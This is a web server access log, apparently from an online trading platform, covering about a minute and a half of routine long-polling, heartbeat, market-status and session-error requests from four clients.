[09/Jan/2026:10:12:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924996050 HTTP/1.1" -
[09/Jan/2026:10:12:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925012225 HTTP/1.1" -
[09/Jan/2026:10:12:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925001702 HTTP/1.1" -
[09/Jan/2026:10:12:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924999047 HTTP/1.1" -
[09/Jan/2026:10:12:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925001099 HTTP/1.1" -
[09/Jan/2026:10:12:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925018236 HTTP/1.1" -
[09/Jan/2026:10:12:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925006834 HTTP/1.1" -
[09/Jan/2026:10:12:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:12:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925005061 HTTP/1.1" -
[09/Jan/2026:10:12:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925006145 HTTP/1.1" -
[09/Jan/2026:10:12:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925011976 HTTP/1.1" -
[09/Jan/2026:10:12:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925024226 HTTP/1.1" -
[09/Jan/2026:10:12:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925011173 HTTP/1.1" -
[09/Jan/2026:10:12:22 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925011054 HTTP/1.1" -
[09/Jan/2026:10:12:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925017115 HTTP/1.1" -
[09/Jan/2026:10:12:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925030230 HTTP/1.1" -
[09/Jan/2026:10:12:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925016216 HTTP/1.1" -
[09/Jan/2026:10:12:28 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925017046 HTTP/1.1" -
[09/Jan/2026:10:12:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:12:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:12:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925022251 HTTP/1.1" -
[09/Jan/2026:10:12:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925021246 HTTP/1.1" -
[09/Jan/2026:10:12:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925036227 HTTP/1.1" -
[09/Jan/2026:10:12:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:12:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:12:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925023056 HTTP/1.1" -
[09/Jan/2026:10:12:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925027396 HTTP/1.1" -
[09/Jan/2026:10:12:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925026281 HTTP/1.1" -
[09/Jan/2026:10:12:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925042228 HTTP/1.1" -
[09/Jan/2026:10:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:12:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925029054 HTTP/1.1" -
[09/Jan/2026:10:12:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925032455 HTTP/1.1" -
[09/Jan/2026:10:12:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925031302 HTTP/1.1" -
[09/Jan/2026:10:12:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925048223 HTTP/1.1" -
[09/Jan/2026:10:12:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:12:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925037597 HTTP/1.1" -
[09/Jan/2026:10:12:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925035048 HTTP/1.1" -
[09/Jan/2026:10:12:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925036354 HTTP/1.1" -
[09/Jan/2026:10:12:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925054237 HTTP/1.1" -
[09/Jan/2026:10:12:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925042722 HTTP/1.1" -
[09/Jan/2026:10:12:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925041388 HTTP/1.1" -
[09/Jan/2026:10:12:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925041051 HTTP/1.1" -
[09/Jan/2026:10:12:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:12:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925047875 HTTP/1.1" -
[09/Jan/2026:10:12:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925060224 HTTP/1.1" -
[09/Jan/2026:10:12:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925046433 HTTP/1.1" -
[09/Jan/2026:10:12:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925047049 HTTP/1.1" -
[09/Jan/2026:10:13:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925053024 HTTP/1.1" -
[09/Jan/2026:10:13:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925051455 HTTP/1.1" -
[09/Jan/2026:10:13:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925066229 HTTP/1.1" -
[09/Jan/2026:10:13:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:13:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:13:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925053059 HTTP/1.1" -
[09/Jan/2026:10:13:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925058157 HTTP/1.1" -
[09/Jan/2026:10:13:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925056494 HTTP/1.1" -
[09/Jan/2026:10:13:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925072224 HTTP/1.1" -
[09/Jan/2026:10:13:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925059051 HTTP/1.1" -
[09/Jan/2026:10:13:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925063219 HTTP/1.1" -
[09/Jan/2026:10:13:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925061539 HTTP/1.1" -
[09/Jan/2026:10:13:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925078226 HTTP/1.1" -
[09/Jan/2026:10:13:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:13:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925068347 HTTP/1.1" -
[09/Jan/2026:10:13:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925066586 HTTP/1.1" -
[09/Jan/2026:10:13:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925084225 HTTP/1.1" -
[09/Jan/2026:10:13:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925073461 HTTP/1.1" -
[09/Jan/2026:10:13:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925071607 HTTP/1.1" -
[09/Jan/2026:10:13:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:13:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925090223 HTTP/1.1" -
[09/Jan/2026:10:13:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925078589 HTTP/1.1" -
[09/Jan/2026:10:13:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925076623 HTTP/1.1" -
[09/Jan/2026:10:13:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925083728 HTTP/1.1" -
[09/Jan/2026:10:13:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925081643 HTTP/1.1" -
